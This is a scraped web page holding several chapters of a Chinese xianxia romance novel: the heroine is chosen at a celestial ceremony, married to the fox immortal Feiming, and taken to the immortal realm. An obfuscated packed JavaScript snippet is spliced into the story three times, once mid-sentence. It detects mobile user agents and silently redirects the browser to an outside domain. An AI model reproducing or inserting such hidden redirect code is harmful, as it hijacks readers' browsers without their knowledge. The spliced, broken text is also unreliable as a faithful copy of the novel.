一炷香的时间过去,面前的神龛毫无反应。 织星阁的长老摇了摇头。 “下一位。” 这位师兄已被冷汗侵透了衣衫,失魂落魄地走下了临仙亭。 一位师姐挺直了脊梁,走上前来,在蒲团上坐下。她垂下头,恭敬地将玉简双手奉上。 一炷香的时间过去,神龛只是微微嗡鸣,却始终不见玉牌落下。 师姐有些失望,她是青玄宗的大师姐,青玄宗是个小宗门,名额也只有一个,她是背负了整个宗门的期望前来织星楼的。 本以为有机会以一人之力带动宗门,不想过了八字测算,却终是无缘。她抿了抿嘴唇,不愿接受这个结果。 “……倒是个福相。” “可惜命格太浅,就算收为仙侍,这仙途也难走哇。” 织星阁长老已经在身后催促,她不得不站起身来离开。 然而就在她起身之时,神龛的震颤终于停止,只听当啷一声。 围观的人和师姐一起回头。 那朱红色的底板上,赫然掉落着一枚白色的玉牌。 “成了仙了,还在怕路难走,都是从人界走上来的,怎么现在反倒一个个畏首畏尾的!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785742|174882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>黑衣女子挥袖,将玉牌掷下。她双手抱臂,一条紫色透明长披帛甩在身后,头上几只琉璃蝴蝶簪叮咚作响,神色尽是不屑。 “你们不懂赏识,那就由我斗星收下了!待我将她养个白白胖胖,你们就羡慕去吧。” 临仙亭里,师姐慌忙捧起那枚玉牌,既不可置信,又笑着流出了眼泪。 有了这一枚玉牌,他们青玄宗终于不再用过苦日子了。 织星阁的人见到玉牌,纷纷同她道喜,请她去楼内稍作等待。 还剩三个人,何缨和两位陌生的师兄。 两位师兄对视一眼,齐声对何缨说道,“这位沧溟的小师妹先请。” 一共就五个人,已经选上一个,怎么看都是难上加难。 连续两个人入选的概率很小,不如让师妹先去试试。 何缨不知道他们心里的思虑,自从听到谢执所言的青鸾神座四个字后,她就有了预感,或许男主要她来参加仙选会,与原身的身份有关。 不是原身,就是原身的前世,前前世。 总之很大概率是要她去仙界走一遭了。 ……反正何缨一开始就打算替原身做点什么,如果这是原身一定要走的路,那她绝不会逃避。 何缨跪坐在蒲团上,将玉简放在了神龛中。 “这……” 仙界众人看着第三份呈上来的玉简,瞪大了眼睛。 这青鸾神女,怎么到人界去了? 要知道,青鸾一族,以平息世间灾厄为己任,能以法力,将他人的怨气和忧愁渡至己身,代替其承受怨气侵扰,是仙界颇为钟爱的仙侍一族。有了青鸾的陪伴,百忧可解,万忧可消。 而千年前仙魔大战之时,青鸾神座忽然失踪,青鸾一族失了传承,于千年前彻底湮灭。 除了和人类结下契约,常年往来于各界追寻青鸾神座数千年的青翊仙君之外,天地之间再无青鸾。 一时之间,众仙纷纷伸手,迫不及待地将玉牌投掷于卦盘里。斗星仙子看着那一枚枚滑落的白色玉牌,冷哼一声,“托生成了人也还是神女的命格,你们可真不要脸。” 何缨连蒲团还没坐热,就看到神龛疯狂震动了起来,甚至隐隐有坍塌的趋势。 只听轰隆隆一阵巨响,数不胜数的白色玉牌从神龛中掉落,如同老虎机抽中了三个相同的稀有图案一样,爆发出了最大奖项。 何缨:“……” 啥情况,这神龛也卡bug了? “这,这这这……”她身后一众织星阁的长老也是第一次见这情况。 众人还没看清楚什么情况,只听当啷一声,又一枚玉牌落了下来。 大殿内,众仙惊愕抬头,是天帝。 天帝将黑色玉牌掷入卦盘之中,用手按了按太阳穴。 “真当朕不知道你们在想什么?青鸾神座是位及神位的神兽一族,给你们当仙侍,也不怕德行亏损。” 何缨呆滞地看向那枚黑色的玉牌,她只知道好像有两种不同的牌子,但并不知道都有什么用。 黑的,是什么意思来着? 绯明看向那枚黑色的玉牌,嗤笑了一声。 说的好听,不也是要把她留在仙界? 不像本座,光明磊落。 众仙鸦雀无声之时,就看绯明手中红色的玉牌好似一道流火,飞入了卦盘之中。 那枚红色玉牌晶莹剔透,上面由持有者亲自刻了一只栩栩如生的小狐狸,此刻,由卦盘坠入了人间。 黑色玉牌比白玉牌的等级更高,因此何缨只用拿下那一枚就可以了。 织星楼的人将可以凑齐好几副麻将的白玉牌用方盒子盛走。 就在这时,神龛又震颤了起来。 当啷一声,又一枚玉牌落下。 织星楼的人原以为又是一枚黑玉,正要收起来交给何缨,打眼一看,愣了。 朱红色的底板上,一枚绯红玉牌被火焰包裹,悄无声息地躺在角落。 何缨也愣了。 那玉牌上,自己曾经模仿过的图案又一次出现在了眼前——一只栩栩如生的小狐狸。 但这不是关键,关键是这玉牌怎么还有红的?何缨挠头,她不记得还有第三种颜色啊? 21. 21 仙选会结束当天,人界大震。 不是地震,是震撼。 入选登仙的人每年总会有那么几个,不论是作为仙侍还是仙君备选。众人羡慕个两三天,也就该干啥干啥去了。 同仙尊结下情缘的,何缨还是第一个。 原来那红玉牌是结下情缘才会用的信物。 不仅人界炸开了锅,仙界也炸开了锅。 绯明千年不出手,一出手直接讨了个夫人回去,关键这姻缘线还有月老和司命作证,优先级压了他们所有人一头,便是天帝也奈何不得。 仙选会结束了。 今年一共五人进入终选,两人飞升仙界。 那位师姐要回宗门收拾行装,已经先行离去了。 何缨呢? 何缨还不能走。 主要是织星楼的人也被绯明这一手骚操作看傻了。 是有黑白红三块牌子没错,但是自打织星楼成立以来,这红玉牌就几乎没用过,上一次用,怕不是几千年前的事。 红牌子一下,这便是仙婚,不是来个人接上去就行了,是要选定良辰吉日,准备完整的仪式的。 沧溟仙宗前一阵子还在大肆贩卖何缨和景言川的话本子,仙选会一过,全变成霸道仙尊狠狠爱了。 只是因为请仙之时多看了你一眼,再也没能忘掉你容颜。 #天作之合# #情有独钟# #先婚后爱# 织星楼的几位长老吵了半宿,终于出了个章程,先把何缨送回了沧溟。 何缨被这一块红玉牌砸昏了头,她抱着茸茸,迷茫地看着星空。 “绯明仙尊是一只狐狸,对吧?”何缨握住狐狸的两只前爪,左右摇摆。 自然。绯明任由何缨捉着爪子乱晃,一条大尾巴惬意地拍打着椅子,尽显胸有成竹的气概。 “狐狸娶亲,怎么会娶到我一个凡人的身上?“何缨将两只爪爪一左一右放在脸上,用力按了按,愁容满面地做了个鬼脸。 何缨人生第一大没想过的事:老年生活。而第二大,正是结婚。 回到彼岸之间,何缨照例先去二楼泡了个澡。 自从上次之后,茸茸再也不肯来这里,何缨泡完澡,看见小狐狸回到了他的领地——三楼栏杆。 何缨随手撸了一把狐狸,穿着薄薄的纱织睡衣,站在镜前打量自己。 少女纤细的身体倒影在镜中。 她和绯明只有过一面之缘,还是刚入宗时候的事。她想不通自己到底哪一点入了绯明的眼,难道是挠痒痒的技术非常好? 结丹之后皮肤和身材都变好了许多,何缨侧过身深吸了一口气,挺直腰杆。 ……嗯,确实也大了不少。 何缨脸红红的,她在镜子前转了几圈,上下端详许久,却终究是闷闷不乐地倚着床坐在了地板上。 都修仙了!怎么还逃不过婚姻的坟墓! 关键对面是个仙尊,她甚至连拒绝的权利都没有! 这难道也是原身的宿命吗? 绯明从栏杆上跳下来,歪着头看向何缨。 何缨见小狐狸走了过来,伸手把他抱到了怀里,叹出了今晚的第十八口气。 她抱着小狐狸倒在床上,翻滚了两圈,最后趴在了床里。 可以抱在怀里的小狐狸可爱,要结婚的大狐狸不可爱。 绯明仙尊,已经是仙尊了,也是有人型的吧?他会长什么样子呢? 一只九尾狐,应该不会把自己变得太难看吧? 转念一想,一直让她参加仙选会的某位男主又出现在了脑海。 这男主真是太坏了!何缨把以前画的男女主画像拿出来,各画了一坨屎在他们头上。 绯明:“……“ 何缨愤愤将所有锅都扣在男主头上,在床上来回烙了不知道几张大饼,这才睡着。 这一次梦里的九尾狐变成了一个陌生的男子,拿着一个红盖头,强硬地盖在了她的头上。 何缨挣扎着后退,却无处可逃。 惊慌失措之时,她转身跌入了一个温暖的怀抱。 她感到莫名的熟悉,却怎么也掀不开盖头,看不到眼前人的模样。 穿越之后孑然一身的每个时刻像电影似的在她的脑海中反复播放,最终却还是落在了那一枚赤红色的玉牌上。何缨忽然十分委屈,她抿住嘴唇,扑在那人的怀里哭出了声。 她并不排斥去仙界,甚至对仙界有些好奇。可是她不想结婚。她还没做好和另一个陌生人共享一生的准备。 绯明眼瞅着怀里的小姑娘在睡梦里落下了眼泪,忙替她擦去。 绯明轻轻拍着她后背,有些生疏地换了个体贴的姿势,让何缨安稳地倚在怀中。 无声的泪打湿了他的衣襟,千般难言的滋味涌上他的心头,从未有过的酸涩将他彻底裹挟。 “……是我不好。”良久,绯明哑着嗓子开口。似呢喃,似悔恨,是自责。 但是,他绝不会放手。 ...... 第二天,何缨被云淮喊去议事。 何缨精神萎靡,捧着小狐狸摇摇晃晃地走进殿内。 云淮不知道又在忙什么,桌上堆了一堆书信,将他淹没到只剩半个脑袋。 他抬起头,依旧是一副笑眯眯的样子。 “师妹来了?请坐。” 何缨前脚刚坐下,后脚云淮看见了何缨怀里的狐狸,突然跪了。 “……您这是干嘛?”何缨慌忙扶起云淮。 “……没事,就是突然想起今天还没拜过神仙。”云淮干脆对着殿外的天空又是一跪,装模做样地双手合十拜了几拜。 何缨沉默。 “仙选会的事我知道了,仪式呢要全权交给织星楼置办,我插不上手。但是这个嫁妆嘛,我可以做主,从宗门的库房里替你多取一些。你有什么问题,现在也可以问我。” 何缨:“仙界结婚用双修吗?” 云淮:“……” 云淮看了看何缨肩膀上的狐狸,那狐狸正在对他死亡凝视。 云淮脸上的笑容难得有些僵硬,“这个……你要不到时候问绯明尊上?” 也就是说这个事还有商量的余地。 何缨:“结婚的时候绯明尊会变成人?” 云淮点了点头,“那当然。” 何缨:“长得帅吗?” 云淮:“……那是相当滴帅。” 何缨掏出纸笔,“我不信,除非你画出来给我看。” 云淮嘴角的笑容又裂了。 “你嫁过去之后自己亲眼瞧见,不比我提前画给你要好?先不提这个了,还有什么别的要问?”云淮把纸推回何缨手里。 何缨:“婚能退吗?” 云淮义正言辞:“不能。” 云淮补充:“也不能逃。” 何缨无奈:“好吧。” 不退就不退呗,何缨只能强行想开,正好她还没去过仙界呢,没准绯明对她没什么意思,只是想让她去充当痒痒挠呢? 云淮也开导她,“仙界都是清心寡欲的仙人,招人一般也不会用这红玉,既然用了,便是你们之间确实有一段缘未解,等你去了就知道了。” 何缨诞生了新的问题:“不能退婚,能合离吗?” 云淮又一次沉默了。小狐狸气得嘤嘤叫,他从何缨肩上跳了下来,绕着何缨直转圈。 “大概或许应该没准是不能的吧!哈哈仙界的事,我一个凡人怎么会知道呢!”云淮露出他的超级无敌标准虚伪八齿笑。 何缨心说你都炼虚后期了马上成仙,你不知道还有谁能知道。 不过这话何缨没说出口,和这位装疯卖傻的掌门互相保留了最后的体面。 云淮许诺了一堆天才地宝,何缨一概没听进去,只是点了点头,默不作声地回到了她的小院里。 望着田里已经茁壮长成的向日葵,何缨心有戚戚。 她还没等到向日葵开花的日子。 忘记问云淮,这里的东西她能不能带走了。 刚坚定了要好好过日子的决心,结果又给她整了这么个事。 何缨伸手去摸那翠绿的叶子,摸着摸着,却被一只毛茸茸拱了拱手掌心。 是她的小狐狸。 何缨抱起狐狸在他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785743|174882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额上吻了吻,狐狸又摆出了一副囧囧的表情。 “你能不能说服一下你们家仙尊,让他不要娶我啊。我去给他当个仙侍,当个跑腿,干点什么不好!”何缨熟练地挠起了他的下巴,狐狸眯着眼睛,乖巧地任她揉按,舒服地不得了。 何缨又把脸埋在了肚肚上。 婚期定在了八月。 还有整整两个月的时间,何缨又恢复了往常的生活。 不用去上课,何缨便每天都窝在家里画画。 织星楼的人偶尔会来,将当天的事项事无巨细告知于何缨。 没过两天,何家人找上门来,同何缨诉苦,说她去年已经和方家二公子有了婚约,结果现在一切都不作数了。 何缨迷茫地听了许久,这才明白过来,他们是想找她要点好处。 虽然何缨只同这些人相处了一年不怎么愉快的时间,但原身确实是何家长女,何缨想了想,还是取出了一些灵石交给他们。 方家二公子也来了,还想和她叙叙旧,被她用两张雷符吓得滚下了台阶。 如果没猜错,就是因为这份婚约,原主才会走投无路,选择了投湖。 赶走了何家人和方公子,没过几天,又有外门楚楚可怜的师兄找了上来。 原来是绯明之前在课上假扮的那个人。 这人非但没有因为莫须有的事情慌乱,反倒借着何缨男宠的名号,在外门兴风作浪了几个月,何缨这一结婚,他的靠山没了,于是又成了众人的笑柄。 何缨还没说什么,小狐狸已经连喷几个火球把人吓跑了。那人临走的时候还在喊着什么,他不介意做妾,气的绯明吐了一口狐火,把他烧了个半死。 事是他惹出来的,绯明十分心虚,在何缨的肩上装起了围脖。 何缨笑着揉了揉围在自己脖颈上的毛茸茸,心里却把男主骂了一百八十遍。 本来结婚就烦!还要给别人收拾烂摊子! 把我做的香辣排骨吐出来! 绯明站在赤璃境刚建好的小花园里,打了个喷嚏。 他飞身立于云端,对着赤璃境张开手,赤璃境立刻变得和石头一样小,被他收入了袖袍。 往东数千里,绯明在一处既能看到日出又能见到日落的地方,将赤璃境放了出来。 旁边就是斗星仙子和司晨仙子的住处,两人正在院子里看公鸡掐架,一阵地动山摇,公鸡吓得四散奔逃咯咯直叫。 黑衣少女打眼一望,看到了一片樱花林。 “阿晨你瞧,哪来的桃花林?” 白衣少女捧着自家的大公鸡惊魂未定,“什么桃花林!是绯明仙尊把赤璃境搬过来了。” 斗星仙子不信,“他不是在极北之地?天帝年年让他来这边春暖花开的地方住,几千年了他也没听。” 司晨笑了笑,安抚地拍了拍怀里的公鸡,放它们下去继续掐架。“他一个人寡惯了,住得惯那不见天日的地方,刚来的仙妃殿下可不一定。” 斗星一想,好像是这么个理。 “那等仙妃来了,咱们离这么近,是不是得准备点礼物?” 司晨点了点头,“是该先准备些,不过——还得看绯明尊上怎么想。” 青鸾神座有消解忧愁怨恨的能力,绯明要是单纯为了这份能力而强行用姻缘线锁住对方,那他们之间的关系不一定会很好,贸然送礼,反而会惹绯明不快。 ……不过,绯明尊上都把赤璃境挪过来了,想必心里还是十分在意青鸾神座的。 “我就奇了怪了,绯明一天天大门不出二门不迈的,他怎么能和青鸾神座搭上关系?我往沧溟眼巴巴看了几百年,也没等到。”斗星撇了撇嘴。 “就你那个精气神儿,没把对方吓跑了就不错啦。”司晨笑话她。 斗星刚要回怼,就见一道高大的人影靠近了这边。 一黑一白两个少女回头,当即战战兢兢地跪下了。 绯明挥袖,“没必要。司晨,我有事找你。” 两个仙子面面相觑,有些意外。 绯明:“你院子里还有多余的公鸡么,我想拿走两只。” 司晨:“……什么?” 22. 22 两个月的时间之于修仙之人,不过须臾片刻。 一转眼,就到了娶亲的日子。 今天大婚,整个沧溟仙宗都休假,一众弟子都挤在仙宗大门口看热闹。 缓缓的自天边流淌下来一条金色的锦缎。铺成了通往仙界的桥梁。 十二名仙子随着那流光浮金的大路飘然落下,在她们中间,一辆仙气渺渺的辇轿随之降落在仙宗的大门上方。 又有桃花仙子立于沧溟仙宗上空,粉袖一挥,仙宗里便开满了桃花。扶摇仙君抱琴,潺潺琴声宛若天籁。 吉时到,云淮领着何缨飞到仙宗大门上方。何缨换上了织星楼给她量身定制的广袖拂星拖地长裙,外面罩了一层薄薄的红纱,仿若一只盛放的赤色蔷薇,娇艳欲滴。 按照织星楼的指引,何缨指尖微颤,将已经装好灵石和符箓的红色锦袋向宗门里抛洒。 几位仙子呈上宝箱,将何缨的镜中楼阁和云淮置办的嫁妆一一保管。一位仙子走上前,毕恭毕敬地接走了何缨怀中的白狐。 何缨的手中一下变得空空落落。 她无措地攥紧衣摆,垂头看着自己指尖涂红的指甲。 ……结丹之后身材发育的太好了,她现在没办法去看自己的脚尖。 两位仙子替她撩起轿帘,何缨回过头,云淮和何谏云就站在她不远处。 云淮难得神色正经,他将手中用数万上品灵石和仙家法器制成的华丽凤冠带在了何缨的头上。 何缨微微低头,将那有些沉重的头冠撑起。 “师父,我走了。”何缨朱唇轻启,声音却有些颤抖。 云淮:“彼岸之间为师给你留着。什么时候想家了就回来,受了欺负也回来,为师给你撑腰。” 何缨忍俊不禁,仙界仙人遍地走,她受了欺负,云淮又能撑什么腰? 云淮:“大不了我去仙界打个几百张欠条,他们就都老实了。” 何缨:“……”债主真可怕! 何谏云跟师父求来了一只护身香囊,交给何缨。他一挥手,身后几名烬霄锋的小弟子上前,给何缨又添了几副嫁妆。他有些感慨,最终却一言未发,只是替何缨理了理身后的裙摆。 两位仙子撩起轿帘,帮着何缨提起裙摆坐进去。 看着那浅色的珠帘将她和沧溟仙宗阻隔开,何缨的眼里蒙上了一层薄薄的雾。 好像昨天才刚刚来到这里,今日便要离开。 人人向往的仙界,应当是个没有纷争的好地方吧? 就在此时,原本喧嚣的外面忽然寂静了下来。 何缨攥紧了身下的软垫。 是绯明来了。 不出所料,一阵白雾散去,绯明身穿一身黑红相间的锦缎长袍,背手立于云端。仙宗里又哗啦啦跪了一片。 十二名仙子慌忙跪下行礼。 她们互相对视数眼,不明白绯明为何会到这来。 仙尊来下界娶亲,本身就是闻所未闻的事。 亲自来下界接人,更是前所未有。 绯明自然不管她们都是什么心思,他一招手,小狐狸飞速跑到了他的身边,伏在他的衣摆旁,变成了第九条狐尾。 九条狐尾在身后消失,绯明走到轿子旁,停驻良久,终是没敢掀开窗帘。 “……走吧。” 绯明挥手,于是仙轿飞起,同他并驾齐驱。十二仙子捧起礼盒,跟在队尾。 声音有些耳熟,何缨将手附上窗帘,偷偷掀起一个角。 什么也看不见,只能看见一片绯红色的衣角。 她偷瞄了许久,一只修长的手伸过来,将窗帘捂住。 何缨顿时什么也看不见了。 这狐狸怎么这么小气!提前看看怎么了! 绯明耳根红得近乎透明,几位仙子只看到绯明扶着轿辗的窗帘不放,一时又不明白了。 这是想见还是不想见? 金色的长路一直铺到仙门口。轿子在登仙阶旁停下。 何缨还是人身,如果不走过这道仙门,就去不了仙界。 何缨急慌慌地站起,却又在看到珠帘外伸向她的那只手后停驻。 她扶着轿子,有些生涩地伸出左手,放入了那只大手中。 那只手温暖而有力,紧紧地包裹住了她,稳稳一拉,将她牵下了轿。 天光大盛,何缨于浮云之上抬起眼眸,眼里闪过一丝错愕。 男人墨色的长发妥帖地拢起,束于发冠之后。一身潋滟华服衬得体态修长,面若冠玉。一双赤红色的眼眸此刻正一眨不眨地同何缨对望。 今天早上,何谏云找了烬霄锋的师姐,给何缨画了淡妆。 此时此刻,少女不安地抿着艳红的嘴唇,一双桃花眼向上抬起,明艳中平添了几分怜爱。 何缨愣愣地看着眼前这人,片刻后,她侧过身子,朝绯明身后看去。 绯明身后空无一人。 何缨又回过头来,周围只有捧着宝盒的几位仙子,除此之外,空无一人。 “找什么呢?”绯明问。 何缨四下打量:“找仙尊啊!仙尊在哪呢?“ 何缨松开绯明的手,前前后后找了一圈,连轿子里底下都趴下去看了。然而,这登仙阶除了绯明以外,再没看到别的男人。 绯明:“……” 绯明:“有没有一种可能,我就是?” 何缨噗地笑出了声,“开玩笑吧怎么可能?信你是仙尊不如信我是秦始皇。” 绯明:“秦始皇是谁?” 何缨从轿子旁爬起来,“你真是绯明?” 绯明:“不然呢?” 何缨还是不信,她转头看向旁边佯装自己是空气的仙子们:“他真是绯明?” 仙子们疯狂点头。 何缨:“……” 绯明神情逐渐危险,“有意见?” 何缨疯狂摇头,“没没没没意见。” 绯明点头,“那走吧。” 何缨抬腿就走。 绯明抱臂等了半天没等来拉他的手,一回头发现何缨已经闷头走到了数丈开外。 绯明:“……” 何缨脑子里乱成了一锅粥。 他是绯明? 男主是绯明? 绯明是狐狸?不对,这个她早就知道了。 所以说,男主是狐狸? 何缨感觉自己简直是捅了狐狸窝,刚才乱七八糟地折腾了个遍,这会儿何缨头上的冠都歪了,她只能用双手扶住,踉踉跄跄地走登仙阶。 绯明飞身追上,替她将冠取下。 “哎,这是我师父给我的!”何缨把头冠抢回来。 “……带着这个走登仙阶不方便。等上去了,我还给你。” 绯明将头冠收入袖中,又一次朝何缨伸出手。 何缨:“我自己能走。” 绯明:“这登仙阶没那么好走,你修为太低,很容易力竭。” 何缨:“那等我走不动了再说。” 她只想一个人静静,好好理一理这是怎么回事。 所以也就是说,她当天用请仙符招来绯明之后,绯明当晚就来找她了!只是因为她过于看重那个名为男主的名牌,以至于忽略了某些细节,比如他和那只大狐狸一样,都是红眼睛。 那后来他又是为什么?出现在自己身边? 何缨忽然想起了她的茸茸,忙问绯明:“我养的小狐狸呢?白的,红尾巴。” 绯明停顿了下,“他没事,等到了赤璃境,你就能看见他。” 两人沉默地走了一会儿,何缨又忍不住开口,“真没想到你就是绯明。” 早知道就不熬夜背诵双修功法了,男主肯定对她没那个意思。 绯明不置可否,他由何缨身侧改成跟在何缨身后。 何缨提着裙摆,不知道自己心里是开心还是失落,如果是个陌生的男人,她可能会很紧张,如果对方的态度足够冷漠,她可能也会心灰意冷。 可是现在,绯明和男主角,竟然是同一个人。经历过幻境后,她和男主熟悉了许多,何缨不得不承认,得知男主就是绯明的那一刻,何缨是高兴的。 可是何缨又情不自禁地怀疑起来,难道自己的定位就是拆散男女主的小反派? 登仙阶很长,不知道走了多久,依旧看不到顶。何缨有些眼晕。 周围也没个能扶着的地方,恍然间似乎又来到了浮光宗山脚,她迈着蹒跚的步伐,一点一点朝着峰顶走去。 而这次,没有小狐狸陪在她身旁。 何缨的步伐逐渐变得沉缓。要求一个刚刚结丹的人爬登仙阶,这实在太过苛刻。 她不禁在心里回想起和绯明相处的点点滴滴。 遇之时他冷漠的杀意和最终的收手; 被牵扯进纷争之时他张扬地出手相救; 楼阁里被他夸奖的那张画; 以及,幻境出口处的赞扬和赠礼。 汗水打湿了额头,每迈出一步都要耗费数不清的灵力。终于,何缨小腿一软,禁不住向后倒去。 一双温暖的手在她身后,稳稳扶住了她的肩膀和腰肢。 何缨整个人的重量都压在了绯明身上。她大口喘气了许久,这才恢复了站在登仙阶上的力气。 感受着那双手的温热,何缨红了脸。 绯明没忘记夸奖她,“一个金丹期的凡人,能走到这里,已是不易,你做的很好。” 何缨的脸彻底红透了。 她快步往上走了几步,若无其事地开口,“我没事啊!没关系的,我还能继续,你就看着我登顶吧。” 绯明也不反驳她,只是默默地跟在她的身后。 每每何缨走不下去了,要摔倒的时候。 那双手都会准时地出现,稳稳地给予她一个支点,让她能够得到片刻的休憩,继续向前。 那之后,两个人都没再说话,只是一个前一个后,默契地走在登仙阶上。 几名仙子在身后亦步亦趋,这登仙阶对于飞升的凡人是一种考验,但是有绯明在,大可以抱着何缨飞上去,两个人这一前一后实在是让人摸不着头脑。 不知过了多久,何缨终于看到了台阶之上的景色。 大片大片银色的树,和雾气缭绕的琼楼玉宇,一点一点地出现在了她的眼前。一望无际的银河在远方,像仙子的披帛一般柔软地串联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何缨说不出个所以然,在登仙阶之前她或许可以很坦然地和绯明讨论些什么,登仙之后她反倒开不了口了。仿佛绯明的那双手还抱在她背后似的。 于是何缨开始瞎扯,“比如你需要我的心脏换给你真正的爱人,又或者你的妹妹需要我的血液才能活命,再或者我长得很像你死去的白月光……” ……什么乱七八糟的,绯明打断她,“给你的浮空阁,为什么不用?“ 何缨:“什么浮空阁?” 绯明沉默。 绯明感觉再说下去会忍不住抓狂,他走到殿外,“你不是晚上要睡觉?休息吧。“ 何缨:“那你呢?” 绯明背对着她离开:“本座不需要。” 绯明说完就离开了大殿。 大殿里只剩下何缨一个人,何缨等了许久,没听到任何其他人的声音,这才悄悄舒了口气,向后仰倒在了床上。 还好还好,看来仙界结婚不需要闹洞房,她需要应付的人就只有绯明一个。 歇了一会儿,何缨又从床上弹起来,打量起四周。 床顶有一片挂饰,也是制成了星月的模样。 何缨摸了摸那绣着金色花纹的暗蓝色床帐,没想到绯明的品味和她还挺像。 床边放了一只小矮柜,何缨摆弄了两下桌上放的小茶杯,又扒拉开抽屉。抽屉里面放了好多宣纸和好多小盒。她随手打开一个,里面装的是磨好的石绿青,用来画画的颜料。 她一愣,将柜子合上,抬起头来。 矮柜的另一侧摆着梳妆镜,在彼岸之间的时候,她最喜欢在梳妆镜前换衣服,然后一头扑到床上。 梳妆镜旁熟悉的位置摆着一只檀木盒,一打开,里面装着各式各样的小点心。原本这个位置是她方便投喂茸茸准备的竹筒,一样装满了零食。 茶几,软垫,还有一只靠在床边的小桌板。整个寝殿的摆设和她原来住的地方一模一样。 走出了里间,另一侧是个小小的书房,整整齐齐摆了两架书柜,和镜中楼阁二楼的摆设同样相仿。何缨随便翻了几本,都是她从未见过的符箓相关的书籍功法。 绯明已经成了仙,自然不用看这些。为谁准备的,不言而喻。 何缨轻抚桌边铺设的厚厚软垫,只觉得指肚触碰之处都在发烫。镜中楼阁的那张桌子太高,何缨写字的时候,两条手臂就磕在桌角的棱面上,一天下来手臂上全是红印子。 她抬起头,一下子撞入了一片金色海洋。 里间旁边的墙上,正挂着她给绯明画的那幅画。它被人妥帖地装裱起来,高高挂在了一个没人能触碰到的地方。 画里,绯明温柔地抱着小狐狸,于大片金色的葵花丛里回眸,带着清浅的笑意看向何缨。 何缨的心头一下子又酸又涨,她连忙朝殿门口跑去。 绕过白鹤屏风,何缨愣住了。 绯明没走,正坐在殿前的台阶上。 清冷的月光洒在他身上,他背对着何缨,垂着头,看着自己的手腕。 除了他们二人,偌大的赤璃境里,再没有任何声息。 23. 23 察觉到身后的目光,绯明回过头,于是月光斜斜地扫过他的脸侧。 “怎么还不睡?” 何缨忽地笨嘴拙舌了起来,“我我,我这就去睡……“ 她往回走,心却还想要往前,于是两条腿不听使唤,自己拌了自己一跤。 啪唧一声,何缨摔在了地板上。 她慌忙爬了起来,露出了一个自我调侃的笑。“哈哈地板太滑了,没事,我这就——” 绯明大步走到了她身边,将她抱了起来。 何缨捂住了发烫的脸,任由绯明又一次把她抱回了里间。 于是两个半尴不尬的人又坐回了床边。 绯明支着头,想了半天也没想明白何缨为什么睡不着。 家具都是按照镜中楼阁摆的,床帐也选了何缨喜欢的那一种。 到底还有哪不对? 何缨头一次在绯明得脸上看到了苦恼得神情,虽然不知道他在想什么,但是意外地有些可爱。 她伸手,摸了摸绯明皱起的眉头。 “你是九尾狐?” “怎么?”绯明抓住那只在他脸上乱摸的手。 “我不信,你给我变个狐狸看看。” 绯明嗤笑:“这有什么不信的?你又不是没见过。” 何缨顽固:“我就要看。” 绯明心道,难道何缨睡不着就是因为这个? 瞧着绯明久久不语,何缨又有些不安,她是不是要求提过头了? 绯明垂眸,一片雾气扫过,何缨惊讶地看向床边,绯明的身影已经不复存在,取而代之的,是一只赤红色的九尾狐。 许是因为在屋子里的缘故,绯明没有变得很大,只是比茸茸大了一些,和成年狐狸的大小相仿。 何缨呀了一声,伸手要去摸毛,被绯明躲开了。 小气鬼!何缨默默收回了手。 “那你转个圈给我看看。” 绯明无奈地原地转了个圈。 “打滚!” “摇尾巴!” 绯明一一照做。 “那,你现在能说话吗?”何缨突发奇想。 绯明歪着头看她。 “你说,大楚兴,陈胜王。”何缨指手画脚。 绯明终是忍不住,砰地一声变回了人形,将何缨压倒在了床上。 “大楚兴陈胜王?你又在想些什么东西?”绯明挠何缨的痒痒肉。 何缨笑得停不下来,连连讨饶。 原本绯明还压着她,何缨痒得不行,用手推他,于是上下倒转,何缨坐在了绯明的腰间。 笑声嘎然而止,何缨的手还放在绯明胸前,这下又被烫到了似的连忙收回。 她往后挪了几步,立刻感受到了不一样的炽热。 绯明从脖子红到了耳根。 “……你下去。”绯明捏了捏架在他腰间的腿。 何缨不知道哪来的勇气,“我不!” “那你还要如何?” 何缨理直气壮,她理了理自己的衣衫,把那大红的衣摆在绯明眼前抖了抖,“这话不应该我问你?” 绯明:“……” 绯明身体力行,坐起身来。 两个人一下自离得极近,何缨忽然又有些打怵,她红着脸往后挪,却被绯明紧紧揽住,再不能退后一步。 绯明撩开粘在何缨脸侧的发丝,捧着何缨的脸细细打量。 之前的时候,每次看她,都只能在她熟睡之时。 现如今,终于能这般好好地描摹她的模样。 何缨原本鼓起的勇气在绯明目不转睛地端详之间消失殆尽。 “……要不我们先试试那个,单纯的双修?” “双修还分单纯不单纯?”绯明用指肚磨砂过何缨的眼尾。 何缨垂下眼眸不敢和绯明对视,“当然,我看了好多双修功法,不是所有双修都需要那个!” 绯明无奈,“重要的不是双修。” 何缨反驳,“重要的当然是双修!我才结丹,之后还要结婴、化神、大乘、炼虚才能成仙,好远呢!” 绯明想了想,“本座千年前就已经飞升,你同我双修一次,至少可以化神。” 